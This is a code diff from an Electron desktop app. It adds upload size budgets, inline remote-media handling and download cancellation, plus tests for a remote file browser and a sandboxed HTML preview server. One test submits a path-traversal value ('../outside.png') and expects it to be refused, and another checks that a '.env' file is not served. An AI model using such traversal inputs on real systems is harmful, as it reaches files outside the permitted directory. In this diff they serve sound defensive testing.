return MIME_BY_EXT[ext] ?? 'application/octet-stream';
}
@@ -335,7 +335,9 @@ async function putBytesToOss(
// 态,把它的 HTTP 码混进用户可见串会把人往权限方向带,而真正卡住的是后面
// 那跳。默认栈自己被拒时是 non-retriable,状态码照样会原样抛出。
failures.push(`${transport.name}:HTTP ${err.httpStatus}`);
- log.warn(`OSS PUT cached fallback rejected host=${host} status=${err.httpStatus}; retrying via undici`);
+ log.warn(
+ `OSS PUT cached fallback rejected host=${host} status=${err.httpStatus}; retrying via undici`,
+ );
continue;
}
// 源文件读盘失败在 fetch 消费 body 时才浮出来,形态与网络失败一样;
@@ -354,7 +356,9 @@ async function putBytesToOss(
// 否则只要每 30 分钟内传一次文件,TTL 就永远到不了期,undici 再也不被探测。
if (failures.length > 0) {
rememberElectronNetPreference(host, Date.now());
- log.info(`OSS PUT recovered via Electron net host=${host} (undici unusable: ${failures.join('; ')})`);
+ log.info(
+ `OSS PUT recovered via Electron net host=${host} (undici unusable: ${failures.join('; ')})`,
+ );
}
} else {
// undici 又通了:清掉记忆,回到默认顺序。
@@ -382,6 +386,8 @@ export async function uploadLocalFile(
opts: {
contentType?: string;
extHint?: string;
+ /** Caller budget, rechecked immediately before preparing the OSS upload. */
+ maxBytes?: number;
/** 可选上传进度(已送入 HTTP 栈的字节数,略超前于真实网络进度)。 */
onProgress?: (uploadedBytes: number) => void;
} = {},
@@ -389,6 +395,12 @@ export async function uploadLocalFile(
const st = await stat(localPath);
if (!st.isFile()) throw new Error(`不是文件: ${localPath}`);
const size = st.size;
+ if (opts.maxBytes !== undefined) {
+ if (!Number.isSafeInteger(opts.maxBytes) || opts.maxBytes < 0) {
+ throw new Error('INVALID_FILE_SIZE_LIMIT');
+ }
+ if (size > opts.maxBytes) throw new Error('REMOTE_FILE_TOO_LARGE');
+ }
if (size > MAX_MEDIA_BYTES) {
throw new Error(`文件超过上限 ${Math.round(MAX_MEDIA_BYTES / 1024 / 1024 / 1024)}GB`);
}
@@ -402,7 +414,20 @@ export async function uploadLocalFile(
if (size <= STREAM_THRESHOLD) {
// 小媒体:读进 Buffer 整体 PUT(成熟稳定路径)。整体 PUT 无中间粒度,
// 完成时一次性回调。
- const buf = await readFile(localPath);
+ let buf: Buffer;
+ if (opts.maxBytes !== undefined) {
+ // One extra byte detects growth without reading an arbitrarily enlarged file.
+ const chunks: Buffer[] = [];
+ let received = 0;
+ for await (const chunk of createReadStream(localPath, { end: size })) {
+ received += chunk.length;
+ if (received > size) throw new Error('REMOTE_FILE_TOO_LARGE');
+ chunks.push(chunk);
+ }
+ buf = Buffer.concat(chunks);
+ } else {
+ buf = await readFile(localPath);
+ }
if (buf.byteLength !== size) {
throw new Error(`文件在上传前发生变化:预期 ${size} 字节,实际 ${buf.byteLength} 字节`);
}
@@ -425,7 +450,10 @@ export async function uploadLocalFile(
const attempts: StreamAttempt[] = [];
const bodySource: OssPutBodySource = {
create(): ReadableStream {
- const source = createReadStream(localPath);
+ const source = createReadStream(
+ localPath,
+ opts.maxBytes !== undefined ? { end: size } : undefined,
+ );
const hasher = createHash('sha256');
const current: StreamAttempt = {
sent: 0,
@@ -439,6 +467,12 @@ export async function uploadLocalFile(
const counter = new Transform({
transform(chunk: Buffer, _enc, cb) {
current.sent += chunk.length;
+ if (opts.maxBytes !== undefined && current.sent > size) {
+ const error = new Error('REMOTE_FILE_TOO_LARGE');
+ current.sourceError = error;
+ cb(error);
+ return;
+ }
hasher.update(chunk);
// 只有当前这跳有资格上报进度(控制端看到的已传字节因此可能回退一次)。
if (attempts.at(-1) === current) opts.onProgress?.(current.sent);
@@ -576,9 +610,10 @@ export async function downloadToFile(
destPath: string,
expected?: AttachmentIntegrity,
onProgress?: (downloadedBytes: number) => void,
+ signal?: AbortSignal,
): Promise<void> {
const { getUrl } = await presignGet(key);
- const resp = await net.fetch(getUrl, { method: 'GET' });
+ const resp = await net.fetch(getUrl, { method: 'GET', signal });
if (!resp.ok) throw new Error(`OSS GET 失败 (${resp.status})`);
if (!resp.body) throw new Error('OSS GET 响应无 body');
const partPath = `${destPath}.${randomUUID()}.part`;
diff --git a/apps/desktop/src/main/device-link/remoteMediaProtocol.ts b/apps/desktop/src/main/device-link/remoteMediaProtocol.ts
index 8b3ee89dc2..bb8f8e0a75 100644
--- a/apps/desktop/src/main/device-link/remoteMediaProtocol.ts
+++ b/apps/desktop/src/main/device-link/remoteMediaProtocol.ts
@@ -1,3 +1,4 @@
+import { readRemoteDeviceFile } from './fileAccess';
/**
* remoteMediaProtocol.ts — 控制端 `cindy-remote-media://` 自定义 scheme(入方向媒体)。
* ---------------------------------------------------------------------------
@@ -40,6 +41,7 @@ interface MediaFetchResult {
ossKey: string;
mimeType: string;
size: number;
+ inlineBase64?: string;
}
/** 视频/音频走 OSS 流式(不整下);其它整下进内存缓存。 */
@@ -108,7 +110,11 @@ async function ensureEntry(deviceId: string, origUrl: string): Promise<RemoteMed
}
/** 向被控端 invoke media:fetch。skipCache 强制其绕过图片上传去重缓存(悬空 key 自愈)。 */
-async function invokeMediaFetch(deviceId: string, origUrl: string, skipCache: boolean): Promise<MediaFetchResult> {
+async function invokeMediaFetch(
+ deviceId: string,
+ origUrl: string,
+ skipCache: boolean,
+): Promise<MediaFetchResult> {
const payload = skipCache ? { url: origUrl, skipCache: true } : { url: origUrl };
const res = await remoteInvoke(deviceId, DL_MEDIA_FETCH_CHANNEL, [payload]);
if (!res.ok) {
@@ -131,16 +137,47 @@ async function downloadLocalEntry(
}
}
-function toEntry(deviceId: string, origUrl: string, fetched: MediaFetchResult): Promise<RemoteMediaEntry> {
+function toEntry(
+ deviceId: string,
+ origUrl: string,
+ fetched: MediaFetchResult,
+): Promise<RemoteMediaEntry> {
+ if (fetched.inlineBase64 !== undefined) {
+ return Promise.resolve(
+ cache.recordLocal(
+ deviceId,
+ origUrl,
+ Buffer.from(fetched.inlineBase64, 'base64'),
+ fetched.mimeType,
+ ),
+ );
+ }
if (isStreamable(fetched.mimeType) || fetched.size > LOCAL_BUFFER_MAX) {
// 视频/音频,或任意大文件(> 64MiB):OSS 保活,按 range 流式取,不整下进内存。
- return Promise.resolve(cache.recordStream(deviceId, origUrl, fetched.ossKey, fetched.mimeType, fetched.size));
+ return Promise.resolve(
+ cache.recordStream(deviceId, origUrl, fetched.ossKey, fetched.mimeType, fetched.size),
+ );
}
return downloadLocalEntry(deviceId, origUrl, fetched);
}
async function fetchAndCache(deviceId: string, origUrl: string): Promise<RemoteMediaEntry> {
- const fetched = await invokeMediaFetch(deviceId, origUrl, false);
+ const fetched = await readRemoteDeviceFile(deviceId, origUrl, remoteInvoke, {
+ maxPeerBytes: LOCAL_BUFFER_MAX,
+ stream: true,
+ });
+ if ('path' in fetched) {
+ try {
+ return cache.recordLocal(
+ deviceId,
+ origUrl,
+ await fs.readFile(fetched.path),
+ fetched.mimeType,
+ );
+ } finally {
+ await fetched.dispose();
+ }
+ }
try {
return await toEntry(deviceId, origUrl, fetched);
} catch (err) {
@@ -153,13 +190,19 @@ async function fetchAndCache(deviceId: string, origUrl: string): Promise<RemoteM
}
/** local 条目:从内存字节切片服务(支持 range 206 / 整文件 200)。 */
-function serveLocal(entry: { bytes: Buffer; mimeType: string }, rangeHeader: string | null): Response {
+function serveLocal(
+ entry: { bytes: Buffer; mimeType: string },
+ rangeHeader: string | null,
+): Response {
const buffer = entry.bytes;
const totalSize = buffer.byteLength;
const range = parseRangeHeader(rangeHeader, totalSize);
if (range) {
const slice = buffer.subarray(range.start, range.end + 1);
- const body = slice.buffer.slice(slice.byteOffset, slice.byteOffset + slice.byteLength) as ArrayBuffer;
+ const body = slice.buffer.slice(
+ slice.byteOffset,
+ slice.byteOffset + slice.byteLength,
+ ) as ArrayBuffer;
return new Response(body, {
status: 206,
headers: {
@@ -171,7 +214,10 @@ function serveLocal(entry: { bytes: Buffer; mimeType: string }, rangeHeader: str
},
});
}
- const body = buffer.buffer.slice(buffer.byteOffset, buffer.byteOffset + buffer.byteLength) as ArrayBuffer;
+ const body = buffer.buffer.slice(
+ buffer.byteOffset,
+ buffer.byteOffset + buffer.byteLength,
+ ) as ArrayBuffer;
return new Response(body, {
status: 200,
headers: {
@@ -187,7 +233,10 @@ function serveLocal(entry: { bytes: Buffer; mimeType: string }, rangeHeader: str
* 包装上游 body 流:在流读完 / 出错 / 被取消时回调 onEnd 一次(用于 release in-flight 计数)。
* <video> 的长连接 range 请求生命周期 = 这个流的生命周期,故 onEnd 即「本次服务结束」。
*/
-function trackStreamEnd(src: ReadableStream<Uint8Array>, onEnd: () => void): ReadableStream<Uint8Array> {
+function trackStreamEnd(
+ src: ReadableStream<Uint8Array>,
+ onEnd: () => void,
+): ReadableStream<Uint8Array> {
const reader = src.getReader();
let ended = false;
const fire = (): void => {
@@ -297,8 +346,8 @@ async function handleRemoteMedia(
// 大文件的 key 都是新鲜上传,首开失败多为瞬时错误,skipCache 也绕不了任何
// 缓存——自愈 = 整个大文件白重传,保持原 502/重试语义。
if (
- !parsed.origUrl.startsWith('xdt-image://')
- && !parsed.origUrl.startsWith('cindy-media://')
+ !parsed.origUrl.startsWith('xdt-image://') &&
+ !parsed.origUrl.startsWith('cindy-media://')
) {
throw err;
}
@@ -323,7 +372,9 @@ async function handleRemoteMedia(
}
throw err;
}
- log.warn(`stream open failed for oversized non-AV media, retrying with skipCache: ${String(err)}`);
+ log.warn(
+ `stream open failed for oversized non-AV media, retrying with skipCache: ${String(err)}`,
+ );
// 自愈重取登记进同一 inflight map(逐出与登记在同一同步 tick 内完成,不暴露
// cache miss 窗口):否则窗口期的并发请求会发起**不带 skipCache** 的普通取件,
// 被控端去重缓存可能把同一把 stale key 再记回缓存、覆盖掉新对象。
diff --git a/apps/desktop/src/main/file-browser/__tests__/deviceOp.test.ts b/apps/desktop/src/main/file-browser/__tests__/deviceOp.test.ts
index 379f8cdd30..3d20864768 100644
--- a/apps/desktop/src/main/file-browser/__tests__/deviceOp.test.ts
+++ b/apps/desktop/src/main/file-browser/__tests__/deviceOp.test.ts
@@ -15,10 +15,7 @@ import path from 'node:path';
import { gzipSync, gunzipSync } from 'node:zlib';
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import {
- WorkdirWatchManager,
- type RemoteFileTreeEvent,
-} from '@cindy/remote-file-service';
+import { WorkdirWatchManager, type RemoteFileTreeEvent } from '@cindy/remote-file-service';
import { FILE_BROWSER_EVENT_CHANNEL } from '@cindy/device-link';
import type { RemoteWorkingDirCheckResult } from '../../device-link/remote-workdir-guard.js';
@@ -54,9 +51,13 @@ vi.mock('electron', () => ({
ipcMain: { handle: vi.fn() },
utilityProcess: { fork: vi.fn() },
}));
-const uploadMock = vi.fn(async (p: string) => ({ key: `oss/${p.split('/').pop()}`, size: 4, contentType: 'text/plain' }));
+const uploadMock = vi.fn(async (p: string, _opts?: unknown) => ({
+ key: `oss/${p.split('/').pop()}`,
+ size: 4,
+ contentType: 'text/plain',
+}));
vi.mock('../../device-link/mediaTransfer.js', () => ({
- uploadLocalFile: (p: string) => uploadMock(p),
+ uploadLocalFile: (p: string, opts: unknown) => uploadMock(p, opts),
}));
vi.mock('../../device-link/remote-workdir-guard.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../../device-link/remote-workdir-guard.js')>();
@@ -171,6 +172,20 @@ describe('file-browser device-op', () => {
).rejects.toThrow(/REMOTE_WORKDIR_NOT_FOUND/);
});
+ it('uses the same listDir for complete listings without changing legacy filtering', async () => {
+ await mkdir(path.join(workdir, 'dist'));
+ await fsWriteFile(path.join(workdir, '.env'), 'fixture');
+ const filtered = (await handleRemoteOp({ op: 'listDir', workdir })) as Array<{ name: string }>;
+ const all = (await handleRemoteOp({
+ op: 'listDir',
+ workdir,
+ includeIgnored: true,
+ docMode: true,
+ })) as Array<{ name: string }>;
+ expect(filtered.map((e) => e.name)).not.toContain('dist');
+ expect(all.map((e) => e.name)).toEqual(expect.arrayContaining(['dist', '.env']));
+ });
+
it('local listDir / readFile / stat match local handler shapes', async () => {
const entries = (await handleRemoteOp({ op: 'listDir', workdir })) as Array<{ name: string }>;
expect(entries.map((e) => e.name)).toContain('src');
@@ -198,13 +213,22 @@ describe('file-browser device-op', () => {
expect(await handleRemoteOp({ op: 'createFolder', workdir, relPath: 'docs' })).toMatchObject({
ok: true,
});
- expect(await handleRemoteOp({ op: 'createFile', workdir, relPath: 'docs/x.md' })).toMatchObject({
- ok: true,
- });
+ expect(await handleRemoteOp({ op: 'createFile', workdir, relPath: 'docs/x.md' })).toMatchObject(
+ {
+ ok: true,
+ },
+ );
expect(
- await handleRemoteOp({ op: 'renameEntry', workdir, fromRel: 'docs/x.md', toRel: 'docs/y.md' }),
+ await handleRemoteOp({
+ op: 'renameEntry',
+ workdir,
+ fromRel: 'docs/x.md',
+ toRel: 'docs/y.md',
+ }),
).toMatchObject({ ok: true });
- expect(await handleRemoteOp({ op: 'deleteEntry', workdir, relPath: 'docs/y.md' })).toMatchObject({
+ expect(
+ await handleRemoteOp({ op: 'deleteEntry', workdir, relPath: 'docs/y.md' }),
+ ).toMatchObject({
ok: true,
});
});
@@ -214,7 +238,11 @@ describe('file-browser device-op', () => {
await mkdir(path.join(workdir, 'docs'), { recursive: true });
await fsWriteFile(path.join(workdir, 'docs', 'x.md'), 'big\n', 'utf8');
});
- const start = (await handleRemoteOp({ op: 'exportFileStart', workdir, relPath: 'docs/x.md' })) as {
+ const start = (await handleRemoteOp({
+ op: 'exportFileStart',
+ workdir,
+ relPath: 'docs/x.md',
+ })) as {
ok: boolean;
transferId?: string;
};
@@ -251,6 +279,21 @@ describe('file-browser device-op', () => {
expect(uploadMock).toHaveBeenCalledTimes(1);
});
+ it('rejects growth beyond the snapshot budget before export and forwards valid bounds', async () => {
+ await fsWriteFile(path.join(workdir, 'grown.txt'), '12345');
+ expect(
+ await handleRemoteOp({ op: 'exportFileStart', workdir, relPath: 'grown.txt', maxBytes: 4 }),
+ ).toMatchObject({ ok: false });
+ expect(uploadMock).not.toHaveBeenCalled();
+ expect(
+ await handleRemoteOp({ op: 'exportFileStart', workdir, relPath: 'grown.txt', maxBytes: 5 }),
+ ).toMatchObject({ ok: true });
+ expect(uploadMock).toHaveBeenCalledWith(
+ expect.any(String),
+ expect.objectContaining({ maxBytes: 5 }),
+ );
+ });
+
it('oversize readFile returns structured OVERSIZE with stat (never a raw frame blowup)', async () => {
await fsWriteFile(path.join(workdir, 'big.txt'), 'x'.repeat(1_900_000), 'utf8');
const res = (await handleRemoteOp({ op: 'readFile', workdir, relPath: 'big.txt' })) as {
@@ -294,7 +337,12 @@ describe('file-browser device-op', () => {
dbRowsMock.mockReturnValue([{ remoteHostId: 'host-1' }]);
sshRequestMock.mockResolvedValue({ entries: [{ name: 'r.ts' }] });
- const entries = (await handleRemoteOp({ op: 'listDir', workdir: sshWorkdir })) as Array<{
+ const entries = (await handleRemoteOp({
+ op: 'listDir',
+ workdir: sshWorkdir,
+ includeIgnored: true,
+ maxEntries: 2000,
+ })) as Array<{
name: string;
}>;
expect(entries.map((e) => e.name)).toEqual(['r.ts']);
@@ -303,6 +351,8 @@ describe('file-browser device-op', () => {
relPath: '',
hideMetaFiles: true,
docMode: undefined,
+ includeIgnored: true,
+ maxEntries: 2000,
});
});
@@ -534,12 +584,12 @@ describe('file-browser device-op', () => {
resolveFirstStart = resolve;
});
const managers: WorkdirWatchManager[] = [];
- const startSpy = vi
- .spyOn(WorkdirWatchManager.prototype, 'start')
- .mockImplementation(function (this: WorkdirWatchManager) {
- managers.push(this);
- return managers.length === 1 ? firstStart : Promise.resolve();
- });
+ const startSpy = vi.spyOn(WorkdirWatchManager.prototype, 'start').mockImplementation(function (
+ this: WorkdirWatchManager,
+ ) {
+ managers.push(this);
+ return managers.length === 1 ? firstStart : Promise.resolve();
+ });
const stopSpy = vi
.spyOn(WorkdirWatchManager.prototype, 'stop')
.mockImplementation(() => undefined);
@@ -566,11 +616,10 @@ describe('file-browser device-op', () => {
relPath: 'src/owner-b.ts',
};
(managers[1] as unknown as { emit: (value: RemoteFileTreeEvent) => void }).emit(event);
- expect(pushSpy).toHaveBeenCalledWith(
- FILE_BROWSER_EVENT_CHANNEL,
- event,
- { dataOwnerId: 'owner-b', ownerGeneration: 8 },
- );
+ expect(pushSpy).toHaveBeenCalledWith(FILE_BROWSER_EVENT_CHANNEL, event, {
+ dataOwnerId: 'owner-b',
+ ownerGeneration: 8,
+ });
} finally {
onFsWatchReleased(workdir);
startSpy.mockRestore();
@@ -829,7 +878,12 @@ describe('file-browser device-op', () => {
it('caps op advertises gzip; unknown op stays a deterministic negative signal', async () => {
// caps 与 workdir 无关,guard 之前处理——guard 拒绝也不影响探测。
- expect(await handleRemoteOp({ op: 'caps', workdir })).toEqual({ ok: true, gzip: true });
+ expect(await handleRemoteOp({ op: 'caps', workdir })).toEqual({
+ ok: true,
+ gzip: true,
+ completeDirectoryListing: true,
+ fileRead: true,
+ });
// 控制端把 unknown op 当"老端不支持压缩"的确定性负信号,形状不能漂。
expect(await handleRemoteOp({ op: 'nope', workdir })).toEqual({
ok: false,
@@ -840,7 +894,12 @@ describe('file-browser device-op', () => {
it('writeFile accepts contentGz (gzip+base64) and lands the plaintext on disk', async () => {
const original = '# 标题\n' + '正文内容 body text\n'.repeat(5000);
const contentGz = gzipSync(Buffer.from(original, 'utf8')).toString('base64');
- const res = (await handleRemoteOp({ op: 'writeFile', workdir, relPath: 'src/a.ts', contentGz })) as {
+ const res = (await handleRemoteOp({
+ op: 'writeFile',
+ workdir,
+ relPath: 'src/a.ts',
+ contentGz,
+ })) as {
ok: boolean;
};
expect(res.ok).toBe(true);
@@ -986,7 +1045,11 @@ describe('file-browser device-op', () => {
});
it('local: 路径穿越被拒绝', async () => {
- const res = (await handleRemoteOp({ op: 'thumbnail', workdir, relPath: '../outside.png' })) as {
+ const res = (await handleRemoteOp({
+ op: 'thumbnail',
+ workdir,
+ relPath: '../outside.png',
+ })) as {
ok: boolean;
};
expect(res.ok).toBe(false);
diff --git a/apps/desktop/src/main/file-browser/__tests__/html-preview-ipc.test.ts b/apps/desktop/src/main/file-browser/__tests__/html-preview-ipc.test.ts
new file mode 100644
index 0000000000..db4deeb3d9
--- /dev/null
+++ b/apps/desktop/src/main/file-browser/__tests__/html-preview-ipc.test.ts
@@ -0,0 +1,183 @@
+import { afterAll, beforeEach, expect, it, vi } from 'vitest';
+import fs from 'node:fs/promises';
+import os from 'node:os';
+import path from 'node:path';
+const mocks = vi.hoisted(() => ({
+ handle: vi.fn(),
+ trusted: vi.fn(),
+ ingest: vi.fn(),
+ current: true,
+ db: {},
+}));
+vi.mock('electron', () => ({ ipcMain: { handle: mocks.handle } }));
+vi.mock('../../security/trustedAppRenderer.js', () => ({
+ assertTrustedAppRendererEvent: mocks.trusted,
+}));
+vi.mock('../../logger.js', () => ({ createLogger: () => ({ warn: vi.fn() }) }));
+vi.mock('../../cindy-media/ingest.js', () => ({ ingestMedia: mocks.ingest }));
+vi.mock('../../device-link/broadcast-tap.js', () => ({
+ captureDataOwnerBroadcastScope: () => ({ ownerScopeKey: 'owner-a:1' }),
+ isDataOwnerBroadcastScopeCurrent: () => mocks.current,
+}));
+vi.mock('../../localDb/client/current.js', () => ({ getDbClient: () => ({ drizzle: mocks.db }) }));
+import { disposeHtmlPreviews, registerHtmlPreviewIpc } from '../html-preview-ipc';
+const args = {
+ origin: { kind: 'device', deviceId: 'remote' },
+ workdir: '/remote',
+ absPath: '/remote/preview/index.html',
+};
+beforeEach(() => {
+ vi.clearAllMocks();
+ mocks.current = true;
+});
+afterAll(disposeHtmlPreviews);
+it('bounds concurrent preparations before allocating more snapshots', async () => {
+ let release!: () => void;
+ const paused = new Promise<void>((resolve) => {
+ release = resolve;
+ });
+ registerHtmlPreviewIpc({
+ stat: async () => {
+ await paused;
+ throw new Error('offline');
+ },
+ read: vi.fn(),
+ });
+ const open = mocks.handle.mock.calls[0][1];
+ const settled = Promise.allSettled(Array.from({ length: 8 }, () => open({}, args)));
+ await expect(open({}, args)).rejects.toMatchObject({ code: 'HTML_PREVIEW_TOO_LARGE' });
+ release();
+ expect((await settled).every((result) => result.status === 'rejected')).toBe(true);
+});
+it('rejects an untrusted guest before any filesystem or remote operation', async () => {
+ mocks.trusted.mockImplementationOnce(() => {
+ throw new Error('PERMISSION_DENIED');
+ });
+ const stat = vi.fn();
+ registerHtmlPreviewIpc({ stat, read: vi.fn() });
+ await expect(mocks.handle.mock.calls[0][1]({}, args)).rejects.toThrow('PERMISSION_DENIED');
+ expect(stat).not.toHaveBeenCalled();
+});
+it('returns an actionable typed error when the remote cannot read files', async () => {
+ const stat = vi.fn().mockRejectedValue(new Error('METHOD_NOT_FOUND'));
+ registerHtmlPreviewIpc({ stat, read: vi.fn() });
+ await expect(mocks.handle.mock.calls[0][1]({}, args)).rejects.toMatchObject({
+ code: 'HTML_PREVIEW_UNSUPPORTED',
+ });
+ expect(stat).toHaveBeenCalledWith(args, '/remote/preview', 'index.html');
+});
+it('opens a preview before downloading even a large entry file', async () => {
+ const read = vi.fn();
+ registerHtmlPreviewIpc({
+ stat: async () => ({
+ name: 'index.html',
+ relPath: 'index.html',
+ type: 'file',
+ size: 101 * 1024 * 1024,
+ mtimeMs: 0,
+ }),
+ read,
+ });
+ await expect(mocks.handle.mock.calls[0][1]({}, args)).resolves.toMatchObject({ ok: true });
+ expect(read).not.toHaveBeenCalled();
+});
+it('passes the captured owner guard through reference-free cache ingestion', async () => {
+ const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'cindy-preview-owner-test-'));
+ try {
+ await fs.writeFile(path.join(dir, 'index.html'), '');
+ const png = Buffer.from([137, 80, 78, 71, 13, 10, 26, 10]);
+ await fs.writeFile(path.join(dir, 'image.png'), png);
+ mocks.ingest.mockImplementationOnce(async (params, db) => {
+ expect(db).toBe(mocks.db);
+ expect(params.refs).toEqual([]);
+ expect(params.isCache).toBe(true);
+ params.assertStillValid();
+ // The real ingest helper calls this guard after each asynchronous write/ref operation.
+ await Promise.resolve();
+ mocks.current = false;
+ params.assertStillValid();
+ });
+ registerHtmlPreviewIpc({
+ stat: async (_args, _root, name) => ({
+ name,
+ relPath: name,
+ type: 'file' as const,
+ size: name === 'image.png' ? png.length : 0,
+ mtimeMs: 0,
+ }),
+ read: async (_args, _root, entry) => path.join(dir, entry.relPath),
+ });
+ const { url } = await mocks.handle.mock.calls[0][1]({}, args);
+ expect((await readResource(url, '/image.png')).status).toBe(502);
+ expect(mocks.ingest).toHaveBeenCalledTimes(1);
+ } finally {
+ await fs.rm(dir, { recursive: true, force: true });
+ }
+});
+it('serves independent media after cache loss without refs across failure and retries', async () => {
+ const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'cindy-preview-ref-test-'));
+ const png = Buffer.from([137, 80, 78, 71, 13, 10, 26, 10]);
+ try {
+ await fs.writeFile(path.join(dir, 'index.html'), '');
+ await fs.writeFile(path.join(dir, 'image.png'), png);
+ let fail = true;
+ mocks.ingest.mockImplementation(async (params) => {
+ expect(params.refs).toEqual([]);
+ expect(params.isCache).toBe(true);
+ if (fail) { fail = false; throw new Error('cache write failed'); }
+ // A reclaimed managed blob is deliberately unavailable; HTTP must use dest.
+ return { url: 'cindy-media://blobs/unavailable.png', refIds: [] };
+ });
+ registerHtmlPreviewIpc({
+ stat: async (_args, _root, name) => ({
+ name, relPath: name, type: 'file' as const,
+ size: name === 'image.png' ? png.length : 0, mtimeMs: 0,
+ }),
+ read: async (_args, _root, entry) => path.join(dir, entry.relPath),
+ });
+ const open = mocks.handle.mock.calls[0][1];
+ const failed = await open({}, args);
+ expect((await readResource(failed.url, '/image.png')).status).toBe(502);
+ for (let i = 0; i < 3; i++) {
+ const { url } = await open({}, args);
+ const bootstrap = await fetch(url, { redirect: 'manual' });
+ const cookie = bootstrap.headers.get('set-cookie')!.split(';')[0];
+ await bootstrap.body?.cancel();
+ const response = await fetch(new URL('/image.png', url), { headers: { cookie } });
+ expect(response.status).toBe(200);
+ expect(Buffer.from(await response.arrayBuffer())).toEqual(png);
+ }
+ expect(mocks.ingest).toHaveBeenCalledTimes(4);
+ } finally {
+ await fs.rm(dir, { recursive: true, force: true });
+ }
+});
+it('opens beyond eight sequential snapshots by reclaiming the oldest completed one', async () => {
+ const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'cindy-preview-capacity-test-'));
+ try {
+ const source = path.join(dir, 'index.html');
+ await fs.writeFile(source, '');
+ registerHtmlPreviewIpc({
+ stat: async () => ({ relPath: 'index.html', type: 'file', size: 0, mtimeMs: 0 }),
+ read: async () => source,
+ });
+ const open = mocks.handle.mock.calls[0][1];
+ const urls: string[] = [];
+ for (let i = 0; i < 12; i++) urls.push((await open({}, args)).url);
+ await expect(fetch(urls[0])).rejects.toThrow();
+ for (const url of urls.slice(-8)) {
+ const response = await fetch(url, { redirect: 'manual' });
+ expect(response.status).toBe(302);
+ await response.body?.cancel();
+ }
+ } finally {
+ await fs.rm(dir, { recursive: true, force: true });
+ }
+});
+
+async function readResource(url: string, pathname: string) {
+ const bootstrap = await fetch(url, { redirect: 'manual' });
+ const cookie = bootstrap.headers.get('set-cookie')!.split(';')[0];
+ await bootstrap.body?.cancel();
+ return fetch(new URL(pathname, url), { headers: { cookie } });
+}
diff --git a/apps/desktop/src/main/file-browser/__tests__/html-preview.test.ts b/apps/desktop/src/main/file-browser/__tests__/html-preview.test.ts
new file mode 100644
index 0000000000..5ba2b230c6
--- /dev/null
+++ b/apps/desktop/src/main/file-browser/__tests__/html-preview.test.ts
@@ -0,0 +1,246 @@
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import fs from 'node:fs/promises';
+import path from 'node:path';
+import os from 'node:os';
+import { get } from 'node:http';
+import { statEntry } from '@cindy/file-browser-core';
+import { HTML_SNAPSHOT_CSP, withSnapshotHtmlCsp } from '@cindy/maker-shared/file-preview';
+import {
+ createHtmlPreview,
+ copyPreviewFile,
+ previewLocation,
+ type PreviewSource,
+} from '../html-preview';
+
+const cleanups: Array<() => Promise<void>> = [];
+afterEach(async () => {
+ for (const cleanup of cleanups.splice(0).reverse()) await cleanup();
+});
+async function fixture() {
+ const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'cindy-preview-test-'));
+ cleanups.push(() => fs.rm(dir, { recursive: true, force: true }));
+ await fs.mkdir(path.join(dir, 'dist'));
+ await fs.writeFile(
+ path.join(dir, 'index.html'),
+ '<script type="module" src="/dist/app.js"></script>',
+ );
+ await fs.writeFile(path.join(dir, 'dist/app.js'), 'export const test = true;');
+ const source: PreviewSource = {
+ stat: (root, rel) => statEntry(root, rel),
+ read: async (root, entry) => path.join(root, entry.relPath),
+ materialize: async (from, to) => {
+ await fs.copyFile(from, to);
+ return to;
+ },
+ };
+ return {
+ dir,
+ source,
+ args: {
+ origin: { kind: 'local' as const },
+ workdir: dir,
+ absPath: path.join(dir, 'index.html'),
+ },
+ };
+}
+describe('directory HTML preview', () => {
+ it('bounds copies and refuses links instead of reading their targets', async () => {
+ const { dir } = await fixture();
+ const source = path.join(dir, 'index.html');
+ const size = (await fs.stat(source)).size;
+ const dest = path.join(dir, 'copy.html');
+ await copyPreviewFile(source, dest, size);
+ expect(await fs.readFile(dest, 'utf8')).toBe(await fs.readFile(source, 'utf8'));
+ await expect(copyPreviewFile(source, path.join(dir, 'short.html'), size - 1)).rejects.toThrow(
+ 'PREVIEW_CHANGED',
+ );
+ await fs.symlink(source, path.join(dir, 'link.html'));
+ await expect(
+ copyPreviewFile(path.join(dir, 'link.html'), path.join(dir, 'linked.html'), size),
+ ).rejects.toThrow();
+ });
+ it('serves requested resources and root-relative module assets through authenticated HTTP', async () => {
+ const { dir, source, args } = await fixture();
+ await fs.writeFile(path.join(dir, '.env'), 'fixture');
+ const secondPage = '<script>window.authorScript = true;</script><a href="index.html">Back</a>';
+ await fs.writeFile(path.join(dir, 'second.html'), secondPage);
+ const xml =
+ '<?xml version="1.0"?><html xmlns="http://www.w3.org/1999/xhtml"><body><p>XML</p></body></html>';
+ await fs.writeFile(path.join(dir, 'xml.xhtml'), xml);
+ const legacy = Buffer.from('<meta charset="windows-1252"><p>caf\xe9</p>', 'latin1');
+ await fs.writeFile(path.join(dir, 'legacy.html'), legacy);
+ const preview = await createHtmlPreview(args, source);
+ cleanups.push(preview.close);
+ const entry = await fetch(preview.url, { redirect: 'manual' });
+ expect(entry.status).toBe(302);
+ const cookie = entry.headers.get('set-cookie')!.split(';')[0];
+ const origin = new URL(preview.url).origin;
+ expect((await fetch(origin + '/.env', { headers: { Cookie: cookie } })).status).toBe(404);
+ const html = await fetch(origin + '/index.html', { headers: { Cookie: cookie } });
+ expect(await html.text()).toContain('/dist/app.js');
+ expect(html.headers.get('content-security-policy')).toBe(HTML_SNAPSHOT_CSP);
+ expect(html.headers.get('permissions-policy')).toBe('camera=(), microphone=(), geolocation=()');
+ const second = await fetch(origin + '/second.html', { headers: { Cookie: cookie } });
+ const secondBody = await second.text();
+ expect(secondBody).toBe(withSnapshotHtmlCsp(secondPage));
+ expect(Number(second.headers.get('content-length'))).toBe(Buffer.byteLength(secondBody));
+ const xhtml = await fetch(origin + '/xml.xhtml', { headers: { Cookie: cookie } });
+ expect(xhtml.headers.get('content-type')).toBe('application/xhtml+xml');
+ expect(xhtml.headers.get('content-security-policy')).toBe(HTML_SNAPSHOT_CSP);
+ expect(await xhtml.text()).toBe(xml);
+ const encoded = await fetch(origin + '/legacy.html', { headers: { Cookie: cookie } });
+ expect(encoded.headers.get('content-security-policy')).toBe(HTML_SNAPSHOT_CSP);
+ expect(Buffer.from(await encoded.arrayBuffer())).toEqual(legacy);
